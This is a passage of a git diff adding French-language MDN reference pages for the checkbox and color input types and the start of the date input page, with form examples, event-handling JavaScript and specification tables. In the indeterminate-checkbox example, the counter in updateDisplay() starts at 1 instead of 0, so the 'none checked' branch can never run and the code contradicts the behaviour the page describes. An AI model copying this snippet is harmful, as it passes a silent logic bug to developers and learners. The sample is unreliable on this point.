+<div>{{EmbedInteractiveExample("pages/tabbed/input-checkbox.html", "tabbed-standard")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div class="note">
+<p><strong>Note </strong>: <a href="/fr/docs/Web/HTML/Element/input/radio">Les boutons radio</a> sont semblables aux cases à cocher mais il existe une différence importante : les boutons radio permettent de sélectionner une seule valeur parmi plusieurs alors que les cases à cocher permettent de cocher/décocher plusieurs valeurs d'un groupe.</p>
+</div>
+
+<h2 id="Valeur">Valeur</h2>
+
+<p>Une chaîne de caractères ({{domxref("DOMString")}}) qui représente la valeur de la case à cocher. Cette chaîne de caractères n'est pas affichée côté client mais est envoyée au serveur comme valeur associée à la donnée envoyée avec le nom de la case à cocher. Par exemple :</p>
+
+<pre class="brush: html notranslate">&lt;form&gt;
+  &lt;div&gt;
+    &lt;input type="checkbox" id="subscribeNews" name="subscribe" value="newsletter"&gt;
+    &lt;label for="subscribeNews"&gt;Souhaitez-vous vous abonner à la newsletter ?&lt;/label&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;button type="submit"&gt;S'abonner&lt;/button&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>{{EmbedLiveSample('Valeur', 600, 60)}}</p>
+
+<p>Dans cet exemple, on a le nom (l'attribut <code>name</code>) <code>subscribe</code> utilisé pour la case à cocher avec une valeur (l'attribut <code>value</code>) qui est <code>newsletter</code>. Lorsque le formulaire est envoyé, les données seront transmises sous la forme <code>subscribe=newsletter</code>.</p>
+
+<p>Si l'attribut <code>value</code> n'était pas renseigné, la valeur par défaut sera <code>on</code> (dans l'exemple, les données envoyées au serveur auraient la forme <code>subscribe=on</code>).</p>
+
+<div class="note">
+<p><strong>Note</strong> : Si la case à cocher n'est pas cochée lorsque le formulaire est envoyé, aucune valeur n'est envoyée au serveur pour indiquer cet état (autrement dit, le client n'envoie pas quelque chose comme <code>value=unchecked</code>) ; la valeur n'est pas transmise au serveur du tout.</p>
+</div>
+
+<h2 id="Attributs_supplémentaires">Attributs supplémentaires</h2>
+
+<p>En plus des attributs qui sont partagés par l'ensemble des éléments {{HTMLElement("input")}}, les champs de type <code>"checkbox"</code> prennent aussi en charge les attributs suivants :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Attribut</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>{{anch("checked")}}</code></td>
+   <td>Un attribut booléen. Si celui-ci est présent, la case à cocher sera cochée.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("value")}}</code></td>
+   <td>La chaîne de caractères qui sera utilisée pour représenter la valeur lorsque celle-ci sera envoyée au serveur si la case est cochée.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="htmlattrdefchecked">{{htmlattrdef("checked")}}</h3>
+
+<p>Un attribut booléen qui indique si la case est cochée. Cet attribut n'indique pas si la case est actuellement cochée : si l'état a été modifié, l'attribut dans le document ne reflètera pas cette modification (seul l'attribut IDL <code>checked</code>de l'objet {{domxref("HTMLInputElement")}} est mis à jour).</p>
+
+<div class="note">
+<p><strong>Note :</strong> À la différence des autres champs, les valeurs des cases à cocher ne sont envoyées au serveur que lorsqu'elles sont cochées. Lorsque c'est le cas, c'est la valeur de l'attribut <code>value</code> qui est envoyé.</p>
+</div>
+
+<p>À la différence des autres navigateurs, Firefox <a href="https://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing">conserve l'état coché placé dynamiquement</a> d'un champ <code>&lt;input&gt;</code> après les rechargements de la page. L'attribut {{htmlattrxref("autocomplete","input")}} peut être utilisé afin de contrôler cette fonctionnalité.</p>
+
+<h3 id="htmlattrdefvalue">{{htmlattrdef("value")}}</h3>
+
+<p>L'attribut <code>value</code> est partagé par l'ensemble des éléments <code>&lt;input&gt;</code> mais il a un rôle spécifique pour les champs de type <code>checkbox</code> : lorsqu'un formulaire est envoyé, seules les cases à cocher qui sont cochées sont envoyées au serveur et c'est la valeur de l'attribut <code>value</code> qui est envoyée. Si l'attribut <code>value</code> n'est pas renseigné, ce sera la chaîne de caractères <code>"on"</code> qui sera envoyée par défaut.</p>
+
+<h2 id="Utiliser_les_cases_à_cocher">Utiliser les cases à cocher</h2>
+
+<h3 id="Gérer_plusieurs_cases_à_cocher">Gérer plusieurs cases à cocher</h3>
+
+<p>Dans l'exemple précédent, il n'y a qu'une seule case à cocher. Dans un scénario réaliste, on aura vraisemblablement plusieurs cases à cocher. Si celles-ci n'ont pas de rapport entre elles, il est possible de les gérer de façon séparée avec des cases à cocher « unitaires » comme illustré précédemment. Toutefois, si les valeurs sont liées entre elles, il est alors nécessaire d'indiquer ce lien.</p>
+
+<p>Dans l'exemple qui suit, on affiche différentes cases à cocher pour représenter les intérets d'un utilisateur (voir l'exemple complet dans la section {{anch("Exemples")}}).</p>
+
+<pre class="brush: html notranslate">&lt;fieldset&gt;
+  &lt;legend&gt;Veuillez sélectionner vos intérêts :&lt;/legend&gt;
+  &lt;div&gt;
+    &lt;input type="checkbox" id="coding" name="interest" value="coding"&gt;
+    &lt;label for="coding"&gt;Développement&lt;/label&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;input type="checkbox" id="music" name="interest" value="music"&gt;
+    &lt;label for="music"&gt;Musique&lt;/label&gt;
+  &lt;/div&gt;
+&lt;/fieldset&gt;</pre>
+
+<p>{{EmbedLiveSample('Gérer_plusieurs_cases_à_cocher', 600, 100)}}</p>
+
+<p>Dans cet exemple on voit que chaque case à cocher utilise le même attribut <code>name</code>. Si les deux cases sont cochées lorsque le formulaire est envoyé, la chaîne des paires nom/valeur qui sera envoyée au serveur sera : <code>interest=coding&amp;interest=music</code>. Lorsque les données parviennent au serveur, on peut ainsi récupérer un tableau des valeurs sélctionnées (voir <a class="question-hyperlink" href="https://stackoverflow.com/questions/18745456/handle-multiple-checkboxes-with-a-single-serverside-variable">Gérer plusieurs cases à cocher avec une seule variable côté serveur</a> par exemple).</p>
+
+<h3 id="Cocher_certaines_cases_par_défaut">Cocher certaines cases par défaut</h3>
+
+<p>Afin qu'une case à cocher soit sélectionnée par défaut, il suffit de placer l'attribut booléen <code>checked</code>. Voir l'exemple qui suit :</p>
+
+<pre class="brush: html notranslate">&lt;fieldset&gt;
+  &lt;legend&gt;Veuillez sélectionner vos intérêts&lt;/legend&gt;
+  &lt;div&gt;
+    &lt;input type="checkbox" id="coding" name="interest" value="coding" checked&gt;
+    &lt;label for="coding"&gt;Développement&lt;/label&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;input type="checkbox" id="music" name="interest" value="music"&gt;
+    &lt;label for="music"&gt;Musique&lt;/label&gt;
+  &lt;/div&gt;
+&lt;/fieldset&gt;</pre>
+
+<p>{{EmbedLiveSample('Cocher_certaines_cases_par_défaut', 600, 100)}}</p>
+
+<h3 id="Fournir_une_zone_cliquable_plus_grande">Fournir une zone cliquable plus grande</h3>
+
+<p>Dans les exemples précédents, vous avez peut-être remarqué qu'il était possible de cocher une case en cliquant sur l'élément {{htmlelement("label")}} associé. Il s'agit d'une fonctionnalité particulièrement utile des étiquettes de formulaire HTML : il y a ainsi plus d'espace qui peut être utilisé pour sélectionner les options voulues (notamment sur les petits écrans).</p>
+
+<p>En plus des raisons liées à l'accessibilité, il s'agit d'une bonne raison pour indiquer correctement des éléments <code>&lt;label&gt;</code> dans vos formulaires.</p>
+
+<h3 id="Gérer_un_état_indéterminé">Gérer un état indéterminé</h3>
+
+<p>Il existe un état indéterminé pour les cases à cocher qui indique que la case n'est ni cochée, ni décochée mais indéterminéee. Cet état peut être obtenu via la propriété <code>indeterminate</code> d'un élément {{domxref("HTMLInputElement")}} en JavaScript (il est impossible d'obtenir cet état en utilisant uniquement du HTML) :</p>
+
+<pre class="brush: js notranslate">inputInstance.indeterminate = true;</pre>
+
+<p>Dans la plupart des navigateurs, une case à cocher dans un état indéterminé est représentée avec une ligne horizontale en travers de la case.</p>
+
+<p>Voici un exemple d'utilisation de cet état (tiré de <a href="https://css-tricks.com/indeterminate-checkboxes/">CSS Tricks</a>) où on tient le compte des ingrédients qu'on possède pour une recette. Lorsqu'on coche ou décoche une case d'un ingrédient, une fonction JavaScript vérifie le nombre d'ingrédients possédés (c'est-à-dire cochés) :</p>
+
+<ul>
+ <li>Si aucun n'est coché, la case associée à la recette est décochée.</li>
+ <li>Si un ou deux éléments sont cochés, la case associée à la recette est dans un état indéterminé.</li>
+ <li>Si les trois ingrédients sont cochés, la case associée à la recette est cochée.</li>
+</ul>
+
+<p>Dans cet exemple, l'état <code>indeterminate</code> est utilisé afin d'indiquer qu'on possède certains ingrédients mais pas suffisamment pour une recette.</p>
+
+<pre class="brush: js notranslate" id="line1"><span>  var overall = document.querySelector('input[id="EnchTbl"]');
+  var ingredients = document.querySelectorAll('ul input');
+
+  overall.addEventListener('click', function(e) {
+    e.preventDefault();
+  });
+
+  for(var i = 0; i </span><span>&lt; </span><span>ingredients.length; i++) {
+    ingredients[i].addEventListener('click', updateDisplay);
+  }
+
+  function updateDisplay() {
+    var checkedCount = 1;
+    for(var i = 0; i </span><span>&lt; </span><span>ingredients.length; i++) {
+      if(ingredients[i].checked) {
+        checkedCount++;
+      }
+    }
+    if(checkedCount === 0) {
+      overall.checked = false;
+      overall.indeterminate = false;
+    } else if(checkedCount </span><span>===</span><span> ingredients.length) {
+      overall.checked = true;
+      overall.indeterminate = false;
+    } else {
+      overall.checked = false;
+      overall.indeterminate = true;
+    }
+  }</span></pre>
+
+<p>{{EmbedGHLiveSample("learning-area/html/forms/indeterminate-example/index.html", '100%', 200)}}</p>
+
+<div class="note">
+<p><strong>Note</strong> : Si vous envoyez un formulaire avec une case à cocher dans un état indéterminé, le résultat obtenu est le même que si la case avait été décochée : aucune donnée n'est envoyée au serveur.</p>
+</div>
+
+<h2 id="Validation">Validation</h2>
+
+<p>Il n'y a pas de mécanisme de validation natif pour la valeur d'une case à cocher.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple suivant, on développe l'exemple vu précédemment avec les groupes de cases à cocher : il y a cette fois plus d'options et un champ texte libre qui permet de saisir une autre valeur. Pour cela on utilise un bloc de code JavaScript et quelques règles CSS pour la mise en forme.</p>
+
+<pre class="brush: html notranslate">&lt;form&gt;
+  &lt;fieldset&gt;
+  &lt;legend&gt;Veuillez sélectionner vos intérêts&lt;/legend&gt;
+    &lt;div&gt;
+      &lt;input type="checkbox" id="coding" name="interest" value="coding"&gt;
+      &lt;label for="coding"&gt;Développement&lt;/label&gt;
+    &lt;/div&gt;
+    &lt;div&gt;
+      &lt;input type="checkbox" id="music" name="interest" value="music"&gt;
+      &lt;label for="music"&gt;Musique&lt;/label&gt;
+    &lt;/div&gt;
+    &lt;div&gt;
+      &lt;input type="checkbox" id="art" name="interest" value="art"&gt;
+      &lt;label for="art"&gt;Art&lt;/label&gt;
+    &lt;/div&gt;
+    &lt;div&gt;
+      &lt;input type="checkbox" id="sports" name="interest" value="sports"&gt;
+      &lt;label for="sports"&gt;Sports&lt;/label&gt;
+    &lt;/div&gt;
+    &lt;div&gt;
+      &lt;input type="checkbox" id="cooking" name="interest" value="cooking"&gt;
+      &lt;label for="cooking"&gt;Cuisine&lt;/label&gt;
+    &lt;/div&gt;
+    &lt;div&gt;
+      &lt;input type="checkbox" id="other" name="interest" value="other"&gt;
+      &lt;label for="other"&gt;Autre&lt;/label&gt;
+      &lt;input type="text" id="otherValue" name="other"&gt;
+    &lt;/div&gt;
+    &lt;div&gt;
+      &lt;button type="submit"&gt;Envoyer le formulaire&lt;/button&gt;
+    &lt;/div&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;</pre>
+
+<pre class="brush: css notranslate">html {
+  font-family: sans-serif;
+}
+
+form {
+  width: 600px;
+  margin: 0 auto;
+}
+
+div {
+  margin-bottom: 10px;
+}
+
+fieldset {
+  background: cyan;
+  border: 5px solid blue;
+}
+
+legend {
+  padding: 10px;
+  background: blue;
+  color: cyan;
+}
+
+#otherValue
+{
+  display: none;
+}
+
+#other:checked ~ #otherValue
+{
+  display: inline-block;
+}
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js notranslate">var otherCheckbox = document.querySelector('input[value="other"]');
+var otherText = document.querySelector('input[id="otherValue"]');
+otherText.style.visibility = 'hidden';
+
+otherCheckbox.onchange = function() {
+  if(otherCheckbox.checked) {
+    otherText.style.visibility = 'visible';
+    otherText.value = '';
+  } else {
+    otherText.style.visibility = 'hidden';
+  }
+};</pre>
+
+<p>{{EmbedLiveSample('Exemples', '100%', 300)}}</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <td><strong>{{anch("Valeur")}}</strong></td>
+   <td>Une chaîne de caractères ({{domxref("DOMString")}}) qui représente la valeur de la case à cocher.</td>
+  </tr>
+  <tr>
+   <td><strong>Évènements</strong></td>
+   <td>{{event("change")}} et {{event("input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>Attributs pris en charge</strong></td>
+   <td><code>checked</code></td>
+  </tr>
+  <tr>
+   <td><strong>Attributs IDL</strong></td>
+   <td><code>checked</code> et <code>value</code></td>
+  </tr>
+  <tr>
+   <td><strong>Méthodes</strong></td>
+   <td>{{domxref("HTMLInputElement.select", "select()")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#checkbox-state-(type=checkbox)', '&lt;input type="checkbox"&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#checkbox-state-(type=checkbox)', '&lt;input type="checkbox"&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("html.elements.input.input-checkbox")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'élément {{HTMLElement("input")}} et l'interface DOM qu'il implémente : {{domxref("HTMLInputElement")}}.</li>
+ <li>{{cssxref(":checked")}}</li>
+ <li>{{cssxref("indeterminate")}}</li>
+</ul>
diff --git a/files/fr/web/html/element/input/color/index.html b/files/fr/web/html/element/input/color/index.html
new file mode 100644
index 0000000000..5db15d6272
--- /dev/null
+++ b/files/fr/web/html/element/input/color/index.html
@@ -0,0 +1,215 @@
+---
+title: <input type="color">
+slug: Web/HTML/Element/Input/color
+tags:
+  - Element
+  - HTML
+  - Input
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/input/color
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary">Les éléments {{HTMLElement("input")}} de type <code><strong>"color"</strong></code> permettent de sélectionner une couleur via une interface (un sélecteur de couleur) ou en saisissant le code hexadécimal de la couleur au format <code>"#rrggbb"</code>. Ce format de valeur peut être utilisé en CSS.</span></p>
+
+<p>L'apparence du contrôle de sélection des couleurs peut grandement varier d'un navigateur à un autre et d'un système d'exploitation à un autre. Pour certains navigateurs, seul un champ textuel sera affiché afin de saisir le code de la couleur (avec des mécanismes de validation vérifiant le format), pour d'autres, ce sera le sélecteur de couleur du système d'exploitation qui sera utilisé et pour d'autres encore, ce sera un sélecteur de couleur spécifique.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/input-color.html", "tabbed-standard")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Valeur">Valeur</h2>
+
+<p>L'attribut {{htmlattrxref("value", "input")}} d'un élément <code>&lt;input type="color"&gt;</code> est une chaîne de caractères sur 7 caractères qui correspond au code de la couleur en représentation hexadécimale RGB. Autrement dit, le premier caractère est un croisillon (#) , les deux suivants indiquent la composante rouge (R) de la couleur, les deux suivants indiquent la couleur verte (G pour <em>Green</em> en anglais) et les deux suivants indiquent la composante bleue (B) de la couleur. La valeur respecte nécessairement ce format et n'est jamais vide.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Si la valeur saisie n'est pas un code hexadécimal RGB d'une couleur opaque valide, c'est la valeur <code>"#000000"</code> (c'est-à-dire la couleur noire) qui sera utilisée. Il est notamment impossible d'utiliser les noms de couleurs CSS ou des fonctions CSS afin de définir cette valeur. Il faut garder à l'esprit que HTML et CSS sont deux langages séparés, définis par des spécifications distinctes. De plus, les couleurs avec un canal alpha ne sont pas prises en charges, utiliser un code avec une notation sur 9 caractères entraînera également l'utilisation de <code>"#000000"</code>.</p>
+</div>
+
+<h2 id="Utiliser_les_contrôles_de_saisie_des_couleurs">Utiliser les contrôles de saisie des couleurs</h2>
+
+<p>Les éléments <code>&lt;input type="color"&gt;</code> sont simples à utiliser (notamment en raison du faible nombre d'attributs qu'ils gèrent).</p>
+
+<h3 id="Fournir_une_couleur_par_défaut">Fournir une couleur par défaut</h3>
+
+<p>Il est possible de créer un sélecteur de couleur qui emploie une valeur par défaut :</p>
+
+<pre class="brush: html notranslate">&lt;input type="color" value="#ff0000"&gt;</pre>
+
+<p>{{EmbedLiveSample("Fournir_une_couleur_par_défaut", 700, 30)}}</p>
+
+<p>Si aucune valeur n'est indiquée, c'est <code>"#000000"</code> qui sera utilisée par défaut (la couleur noire). Comme indiqué dans la note ci-avant, la valeur de cet attribut doit être de la forme <code>"#rrggbb"</code>. Pour les couleurs dans un autre format (couleurs nommées CSS ou couleurs calculées à l'aide des fonctions <code>rgb()</code> ou <code>rgba()</code>), il faudra les convertir au format hexadécimal avant de les utiliser pour <code>value</code>.</p>
+
+<h3 id="Détecter_le_changement_de_couleur">Détecter le changement de couleur</h3>
+
+<p>Comme pour les différents éléments {{HTMLElement("input")}}, deux évènements peuvent être utilisés afin de détecter une modification de la couleur : {{event("input")}} et {{event("change")}}. <code>input</code> est déclenché sur l'élément <code>&lt;input&gt;</code> à chaque fois que la couleur change. L'évènement <code>change</code> est déclenché lorsque l'utilisateur ferme le sélecteur de couleur. Dans tous les cas, il est possible de déterminer la nouvelle valeur de l'élément grâce à {{domxref("HTMLInputElement.value", "value")}}.</p>
+
+<pre class="brush: js notranslate">colorPicker.addEventListener("input", updateFirst, false);
+colorPicker.addEventListener("change", watchColorPicker, false);
+
+function watchColorPicker(event) {
+  document.querySelectorAll("p").forEach(function(p) {
+    p.style.color = event.target.value;
+  });
+}
+</pre>
+
+<h3 id="Sélectionner_la_valeur">Sélectionner la valeur</h3>
+
+<p>Si l'implémentation du navigateur n'affiche pas de sélecteur de couleur mais un champ texte, il est possible de sélectionner la valeur du texte avec la méthode {{domxref("HTMLInputElement.select", "select()")}}. Si le navigateur affiche un sélecteur de couleur, <code>select()</code> ne fera rien.</p>
+
+<pre class="brush: js notranslate">colorWell.select();</pre>
+
+<h3 id="Différences_daspect">Différences d'aspect</h3>
+
+<p>Comme mentionné précédemment, lorsqu'un navigateur ne prend pas en charge l'affichage d'un sélecteur de couleur, c'est un champ texte qui sera affiché. Par exemple, sous Safari 10.1, on peut voir le résultat suivant :</p>
+
+<p><img alt="Screenshot of the example taken in Safari." src="https://mdn.mozillademos.org/files/14899/input-color-safari.png" style="border-style: solid; border-width: 1px; height: 160px; width: 598px;"></p>
+
+<p>Avec Firefox Firefox 55, on aura cet affichage :</p>
+
+<p><img alt="Screenshot of the example taken in Firefox 55 for macOS" src="https://mdn.mozillademos.org/files/14901/input-color-firefox.png" style="border-style: solid; border-width: 1px; height: 160px; width: 598px;"></p>
+
+<p>Pour ce deuxième cas, en cliquant sur le carré coloré, cela ouvrira le sélecteur de couleur natif du système d'exploitation :</p>
+
+<p><img alt="Screenshot of the element with the color picker open in Firefox Mac." src="https://mdn.mozillademos.org/files/14903/input-with-picker-firefox-mac.png" style="border-style: solid; border-width: 1px; height: 405px; width: 682px;"></p>
+
+<h2 id="Validation">Validation</h2>
+
+<p>La valeur d'un tel champ est considérée invalide si l'interface utilisateur ne parvient pas à convertir la saisie de l'utilisateur en une notation hexadécimale sur sept caractères et en minuscules. Si c'est le cas, la pseudo-classe CSS {{cssxref(":invalid")}} sera appliquée à l'élément.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Créons un exemple qui utilise un sélecteur de couleur et les évènements {{event("change")}} et {{event("input")}} afin de choisir une nouvelle couleur et de l'appliquer sur chaque élément {{HTMLElement("p")}} du document.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<p>Le fragment de code HTML utilisé est relativement simple. On utilise quelques paragraphes descriptifs ainsi qu'un élément {{HTMLElement("input")}} de type <code>"color"</code> dont l'identifiant est <code>"colorWell"</code> (c'est la valeur de cette couleur qu'on utilisera pour changer la couleur du texte des paragraphes).</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;Un exemple qui illustre l'utilisation de &lt;code&gt;&amp;lt;input type="color"&amp;gt;&lt;/code&gt;.&lt;/p&gt;
+
+&lt;label for="colorWell"&gt;Couleur :&lt;/label&gt;
+&lt;input type="color" value="#ff0000" id="colorWell"&gt;
+
+&lt;p&gt;Vous pouvez ici voir que la couleur du premier paragraphe changer
+   lorsqu'on ajuste la valeur dans le sélecteur. Pour cela, on
+   utilise l'évènement &lt;code&gt;input&lt;/code&gt;. Lorsqu'on ferme le
+   sélecteur, l'évènement &lt;code&gt;change&lt;/code&gt; est déclenché et on
+   applique la modification est appliquée à l'ensemble des paragraphes.&lt;/p&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<p>Tout d'abord, on établit certains variables : une pour la couleur du sélecteur et une autre couleur pour la couleur par défaut. On ajoute un gestionnaire {{event("load")}} afin de lancer les actions de démarrage lorsque la page est chargée.</p>
+
+<pre class="brush: js notranslate">var colorWell
+var defaultColor = "#0000ff";
+
+window.addEventListener("load", startup, false);
+</pre>
+
+<h4 id="Initialisation">Initialisation</h4>
+
+<p>Lorsque la page est chargée, l'évènement <code>"load"</code> est déclenché et la fonction <code>startup()</code> est donc appelée :</p>
+
+<pre class="brush: js notranslate">function startup() {
+  colorWell = document.querySelector("#colorWell");
+  colorWell.value = defaultColor;
+  colorWell.addEventListener("input", updateFirst, false);
+  colorWell.addEventListener("change", updateAll, false);
+  colorWell.select();
+}
+</pre>
+
+<p>Dans cette fonction, on utilise la variable <code>colorWell</code> déclarée plus haut et on remplit sa valeur avec la valeur par défaut (la valeur de <code>defaultColor</code>). Ensuite, on indique les gestionnaires d'évènements : {{event("input")}} appellera <code>updateFirst()</code> et {{event("change")}} appellera <code>updateAll()</code> qui seront détaillés ensuite.</p>
+
+<p>Enfin, on appelle {{domxref("HTMLInputElement.select", "select()")}} afin de sélectionner le texte du champ si le contrôle est un champ texte.</p>
+
+<h4 id="Réagir_suite_aux_modifications_de_couleurs">Réagir suite aux modifications de couleurs</h4>
+
+<p>On dispose de deux fonctions qui gèrent les modifications de couleurs. La fonction <code>updateFirst()</code> permet de répondre à l'évènement <code>input</code> et modifie la couleur du premier paragraphe dans le document en utilisant la nouvelle valeur saisie. Étant donné que les évènements <code>input</code> ont lieu à chaque fois qu'un ajustement est fait, cette fonction sera appelée sans cesse lorsque le sélecteur de couleur est utilisé.</p>
+
+<pre class="brush: js notranslate">function updateFirst(event) {
+  var p = document.querySelector("p");
+
+  if (p) {
+    p.style.color = event.target.value;
+  }
+}</pre>
+
+<p>Lorsque le sélecteur est fermé, cela signifie que la valeur ne sera plus modifié avant une prochaine ouverture du sélecteur. Un évènement <code>change</code> est alors envoyé et cela déclenche alors l'appel de la fonction <code>updateAll()</code> :</p>
+
+<pre class="brush: js notranslate">function updateAll(event) {
+  document.querySelectorAll("p").forEach(function(p) {
+    p.style.color = event.target.value;
+  });
+}
+</pre>
+
+<p>Cela permet de modifier la couleur de chaque bloc {{HTMLElement("p")}} du document afin que la couleur (cf. {{cssxref("color")}}) soit celle sélectionnée dans le contrôle. Pour récupérer cette valeur, on utilise l'objet {{domxref("Event.target", "event.target")}}.</p>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 700, 200)}}</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <td><strong>{{anch("Valeur")}}</strong></td>
+   <td>Une chaîne de caractères sur sept caractères qui indique la couleur (cf. {{cssxref("&lt;color&gt;")}}) en notation hexadécimale (en minuscule).</td>
+  </tr>
+  <tr>
+   <td><strong>Évènements</strong></td>
+   <td>{{event("change")}} et {{event("input")}}.</td>
+  </tr>
+  <tr>
+   <td><strong>Attributs pris en charge</strong></td>
+   <td>{{htmlattrxref("autocomplete", "input")}} et {{htmlattrxref("list", "input")}}.</td>
+  </tr>
+  <tr>
+   <td><strong>Attributs IDL</strong></td>
+   <td><code>list</code> et <code>value</code>.</td>
+  </tr>
+  <tr>
+   <td><strong>Méthodes</strong></td>
+   <td>{{domxref("HTMLInputElement.select", "select()")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#color-state-(type=color)')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#the-input-element')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'interact/forms.html#h-17.4')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("html.elements.input.input-color")}}</p>
diff --git a/files/fr/web/html/element/input/date/index.html b/files/fr/web/html/element/input/date/index.html
new file mode 100644
index 0000000000..29f8409818
--- /dev/null
+++ b/files/fr/web/html/element/input/date/index.html
@@ -0,0 +1,516 @@
+---
+title: <input type="date">
+slug: Web/HTML/Element/Input/date
+tags:
+  - Element
+  - HTML
+  - Input
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/input/date
+---
+<div>{{HTMLRef}}</div>
+
+<p>Les éléments {{htmlelement("input")}} dont l'attribut <code>type</code> vaut <strong><code>date</code></strong> permettent de créer des champs permettant de saisir des dates (composées d'une année, d'un mois et d'un jour mais pas d'une heure , cf. <code><a href="/fr/docs/Web/HTML/Element/input/time">time</a></code>).</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/input-date.html", "tabbed-shorter")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>L'apparence du contrôle affiché dépend du navigateur utilisé et la prise en charge de cette fonctionnalité est hétérogène (cf. la section {{anch("Compatibilité des navigateurs")}} pour plus de détails). Pour les navigateurs qui ne prennent pas en charge ce type d'élément <code>&lt;input&gt;</code>, c'est un simple <code><a href="/fr/docs/Web/HTML/Element/input/text">&lt;input type="text"&gt;</a></code> qui sera affiché.</p>
+
+<p>Si votre navigateur actuel prend en charge cette fonctionnalité, voici ce à quoi ressemble le contrôle sous Chrome/Opera :</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14909/date-picker-chrome.png" style="display: block; height: 220px; margin: 0px auto; width: 275px;"></p>
+
+<p>et pour Edge :</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14911/date-picker-edge.png" style="display: block; margin: 0 auto;"></p>
+
+<p>Le contrôle de sélection de date pour Firefox ressemble à :</p>
+
+<p><img alt="Interface utilisateur du sélecteur de date dans Firefox" src="https://mdn.mozillademos.org/files/15644/firefox_datepicker.png" style="display: block; margin: 0 auto;"></p>
+
+<h2 id="Valeur">Valeur</h2>
+
+<p>Une chaîne de caractères qui représente la valeur de la date saisie dans le contrôle. Le format à respecter est décrit dans dans <a href="/fr/docs/Web/HTML/Formats_date_heure_HTML#Représentation_des_dates">cette section de l'article sur les formats</a>. Il est possible de fournir une valeur par défaut en renseignant l'attribut {{htmlattrxref("value", "input")}} :</p>
+
